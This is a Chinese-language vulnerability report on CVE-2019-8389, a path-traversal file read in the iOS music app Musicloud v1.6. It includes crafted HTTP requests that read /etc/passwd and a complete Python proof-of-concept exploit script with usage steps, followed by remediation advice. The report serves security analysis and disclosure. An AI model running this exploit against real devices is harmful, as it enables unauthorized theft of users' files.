CVE-2019-8389 - MUSICLOUD V1.6 任意文件读取漏洞
字数 1353 2025-08-29 08:32:00
MUSICLOUD V1.6 任意文件读取漏洞(CVE-2019-8389)分析报告
漏洞概述
CVE-2019-8389是iOS应用程序Musicloud v1.6中存在的一个任意文件读取漏洞。该漏洞允许攻击者通过构造特殊的HTTP请求,读取目标设备上的任意文件,包括敏感系统文件如/etc/passwd。
漏洞背景
Musicloud是一个音乐播放器应用程序,主要功能包括:
- 存储和播放来自不同来源的音乐
- 支持从Dropbox、Google Drive和本地计算机导入音乐
- 提供无线传输功能用于手机和电脑之间的音乐传输
漏洞详情
无线传输服务
当用户启用无线传输功能时:
- 服务运行在设备外部IP的8080端口
- 同一局域网内的所有用户都可以访问该服务
- 服务提供两个关键脚本:
/download.script- 用于下载音乐/upload.script- 用于上传音乐
正常下载流程
-
下载单个文件:
- GET请求格式:
http://[IP]:8080/[filename]?download - 示例:
http://192.168.1.100:8080/music-1.mp3?download
- GET请求格式:
-
下载多个文件:
- 发送POST请求到
/download.script - 请求体包含要下载的文件列表和当前文件夹参数
- 示例请求:
POST /download.script HTTP/1.1 Host: 192.168.1.100:8080 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 141 downfiles=music-1.mp3%0D%0Amusic-2.mp3&cur-folder= - 服务器会创建包含指定文件的MusicPlayerArchive.zip
- 发送POST请求到
漏洞利用原理
漏洞存在于/download.script的参数处理中:
cur-folder参数允许指定任意目录路径downfiles参数允许指定任意文件名- 当这两个参数组合时,可以构造路径遍历攻击
漏洞利用步骤
-
构造恶意POST请求:
POST /download.script HTTP/1.1 Host: 192.168.1.100:8080 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 59 downfiles=passwd&cur-folder=etc/- 这将尝试读取
/etc/passwd文件
- 这将尝试读取
-
服务器会创建包含目标文件的MusicPlayerArchive.zip
-
通过GET请求下载该zip文件:
http://192.168.1.100:8080/MusicPlayerArchive.zip -
解压zip文件即可获取目标文件内容
漏洞利用脚本
以下是自动化利用该漏洞的Python脚本:
#!/usr/bin/python
# Proof of concept for CVE-2019-8389
# Exploit author: Shawar Khan
import sys
import requests
def usage():
print "Usage: \n\t python musicloud_lfi.py 192.168.8.103 /etc/passwd \n "
try:
ip = sys.argv[1]
path = sys.argv[2]
downfile = path.split('/')[::-1][0]
cur_fold = '.' + path[:-len(downfile)]
print '''
Musicloud v1.6 iOS - Local File Read exploit
CVE: CVE-2019-8389
Author: Shawar Khan ( @shawarkhanethicalhacker )
'''
def create_archive(file, payload):
post_data = {
"downfiles": file,
"cur-folder": payload
}
print "[+] Injecting Payload..."
try:
inj_status = requests.post('http://' + str(ip) + ':8080/download.script', data=post_data)
if "MusicPlayerArchive.zip" in inj_status.text and inj_status.status_code == 200:
print "[+] Payload successfully injected"
elif inj_status.status_code == 404:
print "[+] Payload injection failed, File not found"
exit()
else:
print "[+] Payload injection failed!"
exit()
except (requests.exceptions.ConnectionError) as err:
print '[+] Payload injection failed! Connection refused.'
exit()
def retrieve_content():
print "[+] Retrieving MusicPlayerArchive.zip"
zip_content = requests.get('http://' + str(ip) + ':8080/MusicPlayerArchive.zip')
if zip_content.status_code == 200:
print "[+] Successfully retrieved MusicPlayerArchive.zip! \n\n [i] Printing content of %s : \n " % path
archive = zip_content.text.splitlines()
for i in range(2):
archive.pop()
archive.pop(0)
print '\n'.join(archive)
else:
print "[+] Error retrieving content!"
create_archive(downfile, cur_fold)
retrieve_content()
except (IndexError):
usage()
脚本使用说明
-
使用方法:
python musicloud_lfi.py [目标IP] [要读取的文件路径]
示例:
python musicloud_lfi.py 192.168.1.100 /etc/passwd -
脚本功能:
- 自动构造恶意POST请求
- 触发漏洞创建包含目标文件的zip
- 下载并提取zip文件内容
- 显示目标文件内容
漏洞修复建议
-
对
cur-folder和downfiles参数进行严格验证:- 限制路径只能访问特定音乐目录
- 禁止路径遍历字符(如../)
-
实现身份验证机制:
- 要求有效的用户凭证才能使用文件传输功能
-
限制网络访问:
- 默认情况下不应监听所有网络接口
- 可以考虑仅允许本地回环接口访问
-
更新应用程序:
- 升级到已修复该漏洞的版本
总结
CVE-2019-8389是一个典型的任意文件读取漏洞,由于缺乏对用户输入的有效验证而导致。攻击者可以利用该漏洞读取设备上的敏感文件,可能导致信息泄露甚至更严重的后果。开发人员应始终对所有用户提供的输入进行严格验证,特别是涉及文件系统操作时。